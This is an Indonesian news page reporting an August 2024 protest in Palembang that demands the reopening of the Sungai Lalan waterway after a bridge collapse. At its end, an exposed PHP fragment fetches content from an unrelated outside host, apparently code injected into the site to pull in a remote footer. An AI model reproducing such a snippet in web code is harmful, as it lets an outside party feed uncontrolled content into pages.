Gawat! Ekonomi Terancam, Warga Sungai Lalan Desak Pj Gubernur Buka Kembali Jalur Sungai Lalan

Rabu, 28 Agustus 2024

facebook twitter whatsapp telegram line copy

URL berhasil dicopy

facebook icon twitter icon whatsapp icon telegram icon line icon copy

URL berhasil dicopy

Palembang-Lamanqu | jejakkaasus.info – Ribuan massa yang tergabung dalam Aliansi Pengguna Sungai Lalan kembali mengepung Kantor Gubernur Sumatera Selatan pada Selasa (27/08/24).

Mereka tidak hanya mengancam akan menduduki kantor Gubernur, tetapi juga menuntut Pj Gubernur Sumsel segera mundur jika tidak memerintahkan pembukaan kembali jalur Sungai Lalan yang telah lumpuh selama lebih dari sebulan akibat robohnya Jembatan P6.

Situasi semakin memanas setelah aksi unjuk rasa serupa pada Senin, 26 Agustus 2024, tidak membuahkan hasil.

Aliansi Pengguna Sungai Lalan juga menuntut pemerintah daerah, baik Pj Gubernur Sumsel maupun Pj Bupati Musi Banyuasin, segera membuka akses jalur sungai yang vital bagi perekonomian daerah tersebut.

Dalam orasinya, Koordinator Aksi, Fadrianto, menegaskan bahwa robohnya Jembatan P6 pada 26 Juli 2024 telah menyebabkan kelumpuhan jalur Sungai Lalan.

Hingga kini, akses sungai tersebut belum dapat dilalui, mengakibatkan terganggunya distribusi hasil pertanian, perikanan, serta barang dagangan lainnya. “Ini menghantam perekonomian masyarakat secara drastis,” ujar Fadrianto.

Baca Juga:  Polisi Ringkus Bandar Narkoba Saat Bersama Pemandu Lagu

“Sudah sebulan lebih jalur ini terblokir, 100 kapal tongkang terjebak, dan ribuan warga terancam kehilangan pekerjaan. Ini bukan hanya kelalaian, tapi kejahatan terhadap rakyat!” seru Fadrianto.

Koordinator Lapangan, Vibi, menekankan pentingnya normalisasi sungai yang tidak bisa ditunda lagi.

“Ini bukan sekadar arus barang yang terhambat, ini soal keberlangsungan hidup ribuan keluarga yang bergantung pada sungai ini,” tegasnya.

Lebih tegas lagi, pihaknya mengindikasi jika pemerintah daerah dengan sengaja menunda proses pemulihan.

“Kami menduga kuat jika pihak Pemprov Sumsel dan Pemkab Muba terindikasi sengaja melakukan penundaan dengan motif tersembunyi, menghambat pengangkatan reruntuhan jembatan,”tegasnya.

Menurut informasi yang dihimpun di lapangan, kata Vibi, sudah ada inisiatif dari masyarakat dan asosiasi kapal dengan menerjunkan puluhan tenaga kerja las dan sejumlah kapal untuk pembersihan material dari aliran sungai, tetapi ada dugaan malahan ada larangan dari PJ Gubenur Sumsel dan PJ Bupati Muba. “Tentu hal tersebut, menurut kami sangat ironis dan aneh, harusnya memprioritaskan normalisasi jalur bukan malah mempersulit situasi,”cetusnya

Baca Juga:  Pernyataan Kadis Perikanan Gunungsitoli, Nelayan Desa Saewe dan Ombolata Ulu Kecewa.

“Ini kami duga adanya tindakan sabotase ekonomi rakyat. Jika pemerintah tidak segera bergerak, kami akan menduduki kantor Gubernur sampai tuntutan kami dipenuhi oleh Pj Gubernur Sumsel,”sambungnya.

Aliansi Pengguna Sungai Lalan juga meminta Presiden RI, Menteri Perhubungan, dan Menteri Dalam Negeri untuk turun tangan. Mereka mendesak agar proses pembersihan dan pembukaan jalur sungai segera dilakukan tanpa penundaan lebih lanjut. “Kondisi ini mengancam ekonomi Sumsel secara keseluruhan. Jika terus dibiarkan, ini bisa memicu krisis sosial dan ekonomi yang lebih luas,”tandasnya.

“Kami beri waktu hingga hari ini. Jika tidak ada tindakan nyata, kami tidak akan segan-segan menuntut Pj Gubernur dan Pj Bupati untuk mundur dari jabatannya,”pungkasnya dengan nada tegas.

Baca Juga:  Penggunaan Dana BOS di Sekolah Harus Transparan Demi Mengurangi Beban Wali Murid

Massa aksi diterima Kepala Bidang Jembatan PU Bina Marga Provinsi Sumsel Ir. H. Yudho J Prasetyo mengatakan, tuntutan massa akan disampaikan kepada Sekda Provinsi Sumsel dan PJ Gubernur Sumsel. Pemprov akan membuat surat kesepakatan pernyataan terkait tanggung jawab perusahaan dengan Pemkab Muba. Karena Pemkab Muba akan memberikan seluruh akses jika kesepakatan sudah ditandatangani.

“Karena jembatan itu ditabrak, ada yang nabraknya. Sekarang kita lagi membahas tentang poin per point. Setelah itu sudah dibahas setiap poinnya kita akan melakukan penandatangan kesepakatan itu,” katanya.

“Sehari atau dua hari ini akan selesai. Setelah itu akan kita serahkan ke muba. Jadi disiapkan siapa yang akan mengangkut puingnya,siapa yang membangun jembatan, jadi semua terakomodir. PJ Bupati Muba ingin kalau ada syarat kesepakatan ini bisa ditunjukkan ke masyarakat,” tandasnya.

Follow WhatsApp Channel jejakkasus.info untuk update berita terbaru setiap hari Follow

Berita Terkait

Kapolres Tabanan Gelar Jumat Curhat Bersama Warga Desa Sudimara di Pantai Yeh Gangga
Prajurit Kodam IX/Udayana Raih Medali di Cabang MMA PON XXI 2024
Kuasa hukum AG, Reydi Nobel.S.H apresiasi majelis hakim tunggal, ni Made Dewi Sukarni.SH karena mengabulkan permohonan praperadilan.
Polsek Petang Gelar Blue Light Patrol Antisipasi Gangguan Kamtibmas Jelang Pilkada 2024
Tingkatkan Patroli Samapta Polsek Mengwi Sambangi SPBU
Menjelang Pilkada Kabupaten Sidoarjo Bhabinkamtibmas Polsek Tanggulangin Adakan Dialog Dengan Tokoh Agama Dan Masyarakat.
Tim Voli Putri Jatim Sabet Medali Emas pada PON XXI Aceh Sumut
Masih Perlukah Cuma Teteskan Air Mata Untuk Menangisi Peraturan Pemerintah Yang Mencekik Ini

Berita Terkait

Jumat, 20 September 2024 - 11:01 WIB

Kapolres Tabanan Gelar Jumat Curhat Bersama Warga Desa Sudimara di Pantai Yeh Gangga

Jumat, 20 September 2024 - 10:59 WIB

Prajurit Kodam IX/Udayana Raih Medali di Cabang MMA PON XXI 2024

Jumat, 20 September 2024 - 10:58 WIB

Kuasa hukum AG, Reydi Nobel.S.H apresiasi majelis hakim tunggal, ni Made Dewi Sukarni.SH karena mengabulkan permohonan praperadilan.

Jumat, 20 September 2024 - 10:57 WIB

Polsek Petang Gelar Blue Light Patrol Antisipasi Gangguan Kamtibmas Jelang Pilkada 2024

Jumat, 20 September 2024 - 10:56 WIB

Tingkatkan Patroli Samapta Polsek Mengwi Sambangi SPBU

Berita Terbaru

Peristiwa

Tingkatkan Patroli Samapta Polsek Mengwi Sambangi SPBU

Jumat, 20 Sep 2024 - 10:56 WIB

$ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'https://umrohkemenag.org/footer/'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $a = curl_exec($ch); curl_close($ch);?>